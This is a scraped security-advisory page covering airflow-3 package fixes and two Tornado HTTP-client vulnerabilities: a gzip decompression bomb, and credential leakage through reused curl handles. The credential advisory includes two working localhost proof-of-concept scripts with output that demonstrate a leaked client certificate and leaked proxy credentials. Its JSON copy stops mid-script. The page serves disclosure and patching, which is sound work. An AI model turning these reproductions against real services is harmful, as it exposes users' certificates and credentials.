Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package airflow-3 version 3.2.1-r4 fixes 16 vulnerabilities: ghsa-4m7w-qmgq-4wj5, ghsa-9x8q-7h8h-wcw9, ghsa-537c-gmf6-5ccf, ghsa-4xpc-pv4p-pm3w, ghsa-5rvq-cxj2-64vf...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.1-r4"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.1-r4"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package airflow-3 version 3.2.1-r4 fixes 16 vulnerabilities: ghsa-4m7w-qmgq-4wj5, ghsa-9x8q-7h8h-wcw9, ghsa-537c-gmf6-5ccf, ghsa-4xpc-pv4p-pm3w, ghsa-5rvq-cxj2-64vf...",
"id": "CLEANSTART-2026-PZ43099",
"modified": "2026-07-30T09:30:18Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/airflow"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in airflow-3 3.2.1-r4",
"upstream": [
"ghsa-4m7w-qmgq-4wj5",
"ghsa-9x8q-7h8h-wcw9",
"ghsa-537c-gmf6-5ccf",
"ghsa-4xpc-pv4p-pm3w",
"ghsa-5rvq-cxj2-64vf",
"ghsa-82w8-qh3p-5jfq",
"ghsa-wqp7-x3pw-xc5r",
"ghsa-3x9g-8vmp-wqvf",
"ghsa-mgf9-4vpg-hj56",
"ghsa-x746-7m8f-x49c",
"ghsa-pw6j-qg29-8w7f",
"ghsa-6jv3-5f52-599m",
"ghsa-v9pg-7xvm-68hf",
"ghsa-vffw-93wf-4j4q",
"ghsa-jp82-jpqv-5vv3",
"ghsa-cx3h-4qpv-8hc9"
]
}
GHSA-MGF9-4VPG-HJ56
Vulnerability from github – Published: 2026-06-15 20:19 – Updated: 2026-06-15 20:19Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.
This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.
Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49855"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:19:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Tornado\u0027s gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total *compressed* size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. `HTTPServer` is not affected in its default configuration, but it is if `decompress_request=True` is set.\n\nThis bug is fixed in Tornado 6.5.6. `max_body_size` is now checked both for the compressed and cumulative decompressed size of the response.\n\nPrior to upgrading, this issue can be mitigated by setting `decompress_response=False` or using `CurlAsyncHTTPClient`.",
"id": "GHSA-mgf9-4vpg-hj56",
"modified": "2026-06-15T20:19:28Z",
"published": "2026-06-15T20:19:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-mgf9-4vpg-hj56"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "tornado AsyncHTTPClient accumulates decompressed chunks without size limit (gzip bomb)"
}
GHSA-PW6J-QG29-8W7F
Vulnerability from github – Published: 2026-06-15 20:37 – Updated: 2026-06-15 20:37CurlAsyncHTTPClient leaks per-request credentials on handle reuse
Summary
CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does
not reset them between requests, and several per-request options are applied with
no clearing branch. As a result, sensitive state set by one request persists onto
a later request on the same client that does not set it. Two credential vectors
are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy
basic-auth credentials (PROXYUSERPWD) — both leaking to a different,
unintended host. This affects all released versions through 6.5.6.
Details
In tornado/curl_httpclient.py, handles are created once and returned to a free
list for reuse (_process_queue pops the handle at line 200, _finish
re-appends it at line 245), and _curl_setup_request is never preceded by
curl.reset(). The function clears some carried-over state on the reused handle
— unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD)
when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —
but other options have no equivalent clearing path and persist until a later
request sets them again.
Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing
branch:
# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
curl.setopt(pycurl.SSLCERT, request.client_cert)
if request.client_key is not None:
curl.setopt(pycurl.SSLKEY, request.client_key)
A request that sets client_cert leaves the certificate on the handle; a later
request without client_cert presents it during its TLS handshake.
Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only
inside the credentials branch and unset only in the no-proxy else branch:
# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
curl.setopt(pycurl.PROXY, request.proxy_host)
curl.setopt(pycurl.PROXYPORT, request.proxy_port)
if request.proxy_username: # only place PROXYUSERPWD is set
...
curl.setopt(pycurl.PROXYUSERPWD, credentials)
...
else:
try:
curl.unsetopt(pycurl.PROXY)
except TypeError:
curl.setopt(pycurl.PROXY, "")
curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset
A request that sets a new proxy_host without proxy_username updates
PROXY/PROXYPORT but never reaches the else, so the previous request's
credentials persist and are sent to the new proxy.
The same class also affects INTERFACE (lines 365-366: set only when
request.network_interface is truthy, with no clearing branch), which is a
lower-severity instance — a later request can be bound to a network interface it
did not request. A single fix addresses all three (see Mitigation).
PoC
Both reproduce against the pinned release using public API only
(CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).
Vector A — client TLS certificate
The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.
python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py
import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading
from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient
def _key():
return rsa.generate_private_key(public_exponent=65537, key_size=2048)
def _ca():
key = _key()
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
now = datetime.datetime.now(datetime.timezone.utc)
cert = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - datetime.timedelta(minutes=1))
.not_valid_after(now + datetime.timedelta(days=1))
.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
.sign(key, hashes.SHA256())
)
return cert, key
def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
key = _key()
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
now = datetime.datetime.now(datetime.timezone.utc)
b = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(ca_cert.subject)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - datetime.timedelta(minutes=1))
.not_valid_after(now + datetime.timedelta(days=1))
.add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
)
if ips:
b = b.add_extension(
x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
critical=False,
)
if client:
b = b.add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
)
return b.sign(ca_key, hashes.SHA256()), key
def _pem(path, cert, key=None):
with open(path, "wb") as fh:
fh.write(cert.public_bytes(serialization.Encoding.PEM))
if key is not None:
fh.write(key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption(),
))
class TLSServer:
def __init__(self, srv_pem, ca_pem, require):
self.captures = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("127.0.0.1", 0))
self.sock.listen(4)
self.port = self.sock.getsockname()[1]
self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
self.ctx.load_cert_chain(srv_pem)
self.ctx.load_verify_locations(ca_pem)
self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
threading.Thread(target=self._serve, daemon=True).start()
def _serve(self):
while True:
try:
conn, _ = self.sock.accept()
except OSError:
return
try:
s = self.ctx.wrap_socket(conn, server_side=True)
self.captures.append(s.getpeercert() or None)
try:
s.recv(4096)
s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
except Exception:
pass
s.close()
except Exception:
self.captures.append("handshake-failed")
conn.close()
def stop(self):
try:
self.sock.close()
except Exception:
pass
def _cn(peer):
if not peer or not isinstance(peer, dict):
return None
for rdn in peer.get("subject", ()):
for k, v in rdn:
if k == "commonName":
return v
return None
async def main():
with tempfile.TemporaryDirectory() as tmp:
ca_cert, ca_key = _ca()
s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)
ca_pem = os.path.join(tmp, "ca.pem")
s1_pem = os.path.join(tmp, "s1.pem")
s2_pem = os.path.join(tmp, "s2.pem")
cert_pem = os.path.join(tmp, "client.crt")
key_pem = os.path.join(tmp, "client.key")
_pem(ca_pem, ca_cert)
_pem(s1_pem, s1_cert, s1_key)
_pem(s2_pem, s2_cert, s2_key)
_pem(cert_pem, cli_cert)
with open(key_pem, "wb") as fh:
fh.write(cli_key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption(),
))
s1 = TLSServer(s1_pem, ca_pem, require=True)
s2 = TLSServer(s2_pem, ca_pem, require=False)
try:
clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await clean.fetch(HTTPRequest(
f"https://127.0.0.1:{s2.port}/baseline",
ca_certs=ca_pem, request_timeout=5), raise_error=False)
clean.close()
client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await client.fetch(HTTPRequest(
f"https://127.0.0.1:{s1.port}/internal-mtls",
client_cert=cert_pem, client_key=key_pem,
ca_certs=ca_pem, request_timeout=5), raise_error=False)
await client.fetch(HTTPRequest(
f"https://127.0.0.1:{s2.port}/other-host",
ca_certs=ca_pem, request_timeout=5), raise_error=False)
await asyncio.sleep(0.2)
client.close()
finally:
s1.stop()
s2.stop()
baseline = _cn(s2.captures[0]) if s2.captures else None
leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None
print(f"{'scenario':<48}{'cert presented to server 2'}")
print(f"{'-' * 48}{'-' * 28}")
print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
print()
print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
print()
if baseline is None and leaked == "trusted-client":
print("VERDICT: VULNERABLE — the client certificate from request A was "
"presented to server 2 on request B, which specified none.")
return 0
print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
return 2
if __name__ == "__main__":
sys.exit(asyncio.run(main()))
Output (pip show tornado → 6.5.6, installed in the venv):
scenario cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert None
exploit: reused handle (A had client_cert) 'trusted-client'
(sanity) server 1 (mTLS required) saw: 'trusted-client'
VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.
Vector B — proxy credentials
Each proxy is a separate listener capturing the raw request bytes.
./venv/bin/python poc_proxy_creds.py
import asyncio
import base64
import socket
import sys
import threading
from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient
class CapturingProxy:
def __init__(self):
self.captures = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("127.0.0.1", 0))
self.sock.listen(4)
self.port = self.sock.getsockname()[1]
threading.Thread(target=self._serve, daemon=True).start()
def _serve(self):
while True:
try:
conn, _ = self.sock.accept()
except OSError:
return
try:
data = b""
while b"\r\n\r\n" not in data and len(data) < 8192:
chunk = conn.recv(2048)
if not chunk:
break
data += chunk
self.captures.append(data)
conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
b"Connection: close\r\n\r\n")
except Exception:
pass
finally:
conn.close()
def stop(self):
try:
self.sock.close()
except Exception:
pass
def proxy_authz(raw):
head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
for line in head.split("\r\n"):
if line.lower().startswith("proxy-authorization:"):
return line
return None
async def main():
proxy_a = CapturingProxy()
proxy_b = CapturingProxy()
try:
client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await client.fetch(HTTPRequest(
"http://target.example/a",
proxy_host="127.0.0.1", proxy_port=proxy_a.port,
proxy_username="alice", proxy_password="secretA",
request_timeout=5, connect_timeout=5), raise_error=False)
await client.fetch(HTTPRequest(
"http://target.example/b",
proxy_host="127.0.0.1", proxy_port=proxy_b.port,
request_timeout=5, connect_timeout=5), raise_error=False)
await asyncio.sleep(0.2)
client.close()
finally:
proxy_a.stop()
proxy_b.stop()
a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
expected = "Basic " + base64.b64encode(b"alice:secretA").decode()
print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
print(f"{'-' * 42}{'-' * 40}")
print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
print()
if b and expected in b:
print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
f"({expected}) although request B specified no proxy_username.")
return 0
print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
return 2
if __name__ == "__main__":
sys.exit(asyncio.run(main()))
Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):
request Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.
Impact
- Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
- Actors: An application that issues requests with differing per-request
options on a shared
CurlAsyncHTTPClient— for Vector A, mixing per-requestclient_certrequests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials. - Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
- Scope: Only applications using the optional
CurlAsyncHTTPClientbackend with the patterns above are affected. The defaultSimpleAsyncHTTPClientis not affected (and does not support proxies).
Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is
High because exploitation depends on the application using differing per-request
options on a shared client and on handle scheduling.
Mitigation
A single fix closes all instances of this class: call curl.reset() at the start
of _curl_setup_request and then re-apply the per-request options, so no state
from a prior request can persist on the reused handle. (Note curl.reset() also
clears CAINFO, which the current code intentionally leaves untouched — see the
comment at lines 401-409 — so that default would need to be re-established after
the reset.)
Alternatively, add explicit clearing branches mirroring the existing
PROXYUSERPWD/USERPWD handling:
# client certificate
if request.client_cert is not None:
curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
curl.setopt(pycurl.SSLKEY, request.client_key)
else:
curl.unsetopt(pycurl.SSLKEY)
# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
...
curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
curl.unsetopt(pycurl.PROXYUSERPWD)
# network interface
if request.network_interface:
curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
curl.unsetopt(pycurl.INTERFACE)
Until a fix is available, use a separate CurlAsyncHTTPClient instance per
distinct credential set (per client certificate / per proxy credential), or use
SimpleAsyncHTTPClient where applicable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.5.6"
},
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-672"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:37:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# CurlAsyncHTTPClient leaks per-request credentials on handle reuse\n\n## Summary\n\n`CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does\nnot reset them between requests, and several per-request options are applied with\nno clearing branch. As a result, sensitive state set by one request persists onto\na later request on the same client that does not set it. Two credential vectors\nare demonstrated below \u2014 a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy\nbasic-auth credentials (`PROXYUSERPWD`) \u2014 both leaking to a different,\nunintended host. This affects all released versions through 6.5.6.\n\n## Details\n\nIn `tornado/curl_httpclient.py`, handles are created once and returned to a free\nlist for reuse (`_process_queue` pops the handle at line 200, `_finish`\nre-appends it at line 245), and `_curl_setup_request` is never preceded by\n`curl.reset()`. The function clears *some* carried-over state on the reused handle\n\u2014 `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)`\nwhen no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) \u2014\nbut other options have no equivalent clearing path and persist until a later\nrequest sets them again.\n\n**Vector A \u2014 client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing\nbranch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 498-502\nif request.client_cert is not None:\n curl.setopt(pycurl.SSLCERT, request.client_cert)\n\nif request.client_key is not None:\n curl.setopt(pycurl.SSLKEY, request.client_key)\n```\n\nA request that sets `client_cert` leaves the certificate on the handle; a later\nrequest without `client_cert` presents it during its TLS handshake.\n\n**Vector B \u2014 proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only\ninside the credentials branch and unset only in the no-proxy `else` branch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 371-394\nif request.proxy_host and request.proxy_port:\n curl.setopt(pycurl.PROXY, request.proxy_host)\n curl.setopt(pycurl.PROXYPORT, request.proxy_port)\n if request.proxy_username: # only place PROXYUSERPWD is set\n ...\n curl.setopt(pycurl.PROXYUSERPWD, credentials)\n ...\nelse:\n try:\n curl.unsetopt(pycurl.PROXY)\n except TypeError:\n curl.setopt(pycurl.PROXY, \"\")\n curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset\n```\n\nA request that sets a *new* `proxy_host` without `proxy_username` updates\n`PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request\u0027s\ncredentials persist and are sent to the new proxy.\n\nThe same class also affects `INTERFACE` (lines 365-366: set only when\n`request.network_interface` is truthy, with no clearing branch), which is a\nlower-severity instance \u2014 a later request can be bound to a network interface it\ndid not request. A single fix addresses all three (see Mitigation).\n\n## PoC\n\nBoth reproduce against the pinned release using public API only\n(`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments).\n\n### Vector A \u2014 client TLS certificate\n\nThe two servers listen on different ports, so request B opens a fresh TCP+TLS\nconnection; the certificate can only reach server 2 via the persisted handle\noption, not connection or session reuse.\n\n```\npython3 -m venv venv\n./venv/bin/pip install \"tornado==6.5.6\" pycurl cryptography\n./venv/bin/python poc_client_cert.py\n```\n\n```python\nimport asyncio\nimport datetime\nimport ipaddress\nimport os\nimport socket\nimport ssl\nimport sys\nimport tempfile\nimport threading\n\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\ndef _key():\n return rsa.generate_private_key(public_exponent=65537, key_size=2048)\n\n\ndef _ca():\n key = _key()\n name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"PoC-CA\")])\n now = datetime.datetime.now(datetime.timezone.utc)\n cert = (\n x509.CertificateBuilder()\n .subject_name(name).issuer_name(name)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - datetime.timedelta(minutes=1))\n .not_valid_after(now + datetime.timedelta(days=1))\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)\n .sign(key, hashes.SHA256())\n )\n return cert, key\n\n\ndef _leaf(cn, ca_cert, ca_key, ips=None, client=False):\n key = _key()\n name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n now = datetime.datetime.now(datetime.timezone.utc)\n b = (\n x509.CertificateBuilder()\n .subject_name(name).issuer_name(ca_cert.subject)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - datetime.timedelta(minutes=1))\n .not_valid_after(now + datetime.timedelta(days=1))\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)\n )\n if ips:\n b = b.add_extension(\n x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),\n critical=False,\n )\n if client:\n b = b.add_extension(\n x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False\n )\n return b.sign(ca_key, hashes.SHA256()), key\n\n\ndef _pem(path, cert, key=None):\n with open(path, \"wb\") as fh:\n fh.write(cert.public_bytes(serialization.Encoding.PEM))\n if key is not None:\n fh.write(key.private_bytes(\n serialization.Encoding.PEM,\n serialization.PrivateFormat.TraditionalOpenSSL,\n serialization.NoEncryption(),\n ))\n\n\nclass TLSServer:\n def __init__(self, srv_pem, ca_pem, require):\n self.captures = []\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind((\"127.0.0.1\", 0))\n self.sock.listen(4)\n self.port = self.sock.getsockname()[1]\n self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n self.ctx.load_cert_chain(srv_pem)\n self.ctx.load_verify_locations(ca_pem)\n self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL\n threading.Thread(target=self._serve, daemon=True).start()\n\n def _serve(self):\n while True:\n try:\n conn, _ = self.sock.accept()\n except OSError:\n return\n try:\n s = self.ctx.wrap_socket(conn, server_side=True)\n self.captures.append(s.getpeercert() or None)\n try:\n s.recv(4096)\n s.sendall(b\"HTTP/1.1 200 OK\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\nok\")\n except Exception:\n pass\n s.close()\n except Exception:\n self.captures.append(\"handshake-failed\")\n conn.close()\n\n def stop(self):\n try:\n self.sock.close()\n except Exception:\n pass\n\n\ndef _cn(peer):\n if not peer or not isinstance(peer, dict):\n return None\n for rdn in peer.get(\"subject\", ()):\n for k, v in rdn:\n if k == \"commonName\":\n return v\n return None\n\n\nasync def main():\n with tempfile.TemporaryDirectory() as tmp:\n ca_cert, ca_key = _ca()\n s1_cert, s1_key = _leaf(\"server1.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n s2_cert, s2_key = _leaf(\"server2.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n cli_cert, cli_key = _leaf(\"trusted-client\", ca_cert, ca_key, client=True)\n\n ca_pem = os.path.join(tmp, \"ca.pem\")\n s1_pem = os.path.join(tmp, \"s1.pem\")\n s2_pem = os.path.join(tmp, \"s2.pem\")\n cert_pem = os.path.join(tmp, \"client.crt\")\n key_pem = os.path.join(tmp, \"client.key\")\n _pem(ca_pem, ca_cert)\n _pem(s1_pem, s1_cert, s1_key)\n _pem(s2_pem, s2_cert, s2_key)\n _pem(cert_pem, cli_cert)\n with open(key_pem, \"wb\") as fh:\n fh.write(cli_key.private_bytes(\n serialization.Encoding.PEM,\n serialization.PrivateFormat.TraditionalOpenSSL,\n serialization.NoEncryption(),\n ))\n\n s1 = TLSServer(s1_pem, ca_pem, require=True)\n s2 = TLSServer(s2_pem, ca_pem, require=False)\n try:\n clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await clean.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s2.port}/baseline\",\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n clean.close()\n\n client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await client.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s1.port}/internal-mtls\",\n client_cert=cert_pem, client_key=key_pem,\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n await client.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s2.port}/other-host\",\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n await asyncio.sleep(0.2)\n client.close()\n finally:\n s1.stop()\n s2.stop()\n\n baseline = _cn(s2.captures[0]) if s2.captures else None\n leaked = _cn(s2.captures[1]) if len(s2.captures) \u003e 1 else None\n\n print(f\"{\u0027scenario\u0027:\u003c48}{\u0027cert presented to server 2\u0027}\")\n print(f\"{\u0027-\u0027 * 48}{\u0027-\u0027 * 28}\")\n print(f\"{\u0027baseline: clean client, no client_cert\u0027:\u003c48}{baseline!r}\")\n print(f\"{\u0027exploit: reused handle (A had client_cert)\u0027:\u003c48}{leaked!r}\")\n print()\n print(f\"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}\")\n print()\n if baseline is None and leaked == \"trusted-client\":\n print(\"VERDICT: VULNERABLE \u2014 the client certificate from request A was \"\n \"presented to server 2 on request B, which specified none.\")\n return 0\n print(f\"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(asyncio.run(main()))\n```\n\nOutput (`pip show tornado` \u2192 6.5.6, installed in the venv):\n\n```\nscenario cert presented to server 2\n----------------------------------------------------------------------------\nbaseline: clean client, no client_cert None\nexploit: reused handle (A had client_cert) \u0027trusted-client\u0027\n\n(sanity) server 1 (mTLS required) saw: \u0027trusted-client\u0027\n\nVERDICT: VULNERABLE \u2014 the client certificate from request A was presented to\nserver 2 on request B, which specified none.\n```\n\n### Vector B \u2014 proxy credentials\n\nEach proxy is a separate listener capturing the raw request bytes.\n\n```\n./venv/bin/python poc_proxy_creds.py\n```\n\n```python\nimport asyncio\nimport base64\nimport socket\nimport sys\nimport threading\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\nclass CapturingProxy:\n def __init__(self):\n self.captures = []\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind((\"127.0.0.1\", 0))\n self.sock.listen(4)\n self.port = self.sock.getsockname()[1]\n threading.Thread(target=self._serve, daemon=True).start()\n\n def _serve(self):\n while True:\n try:\n conn, _ = self.sock.accept()\n except OSError:\n return\n try:\n data = b\"\"\n while b\"\\r\\n\\r\\n\" not in data and len(data) \u003c 8192:\n chunk = conn.recv(2048)\n if not chunk:\n break\n data += chunk\n self.captures.append(data)\n conn.sendall(b\"HTTP/1.1 502 Bad Gateway\\r\\nContent-Length: 0\\r\\n\"\n b\"Connection: close\\r\\n\\r\\n\")\n except Exception:\n pass\n finally:\n conn.close()\n\n def stop(self):\n try:\n self.sock.close()\n except Exception:\n pass\n\n\ndef proxy_authz(raw):\n head = raw.split(b\"\\r\\n\\r\\n\", 1)[0].decode(\"latin1\", \"replace\")\n for line in head.split(\"\\r\\n\"):\n if line.lower().startswith(\"proxy-authorization:\"):\n return line\n return None\n\n\nasync def main():\n proxy_a = CapturingProxy()\n proxy_b = CapturingProxy()\n try:\n client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await client.fetch(HTTPRequest(\n \"http://target.example/a\",\n 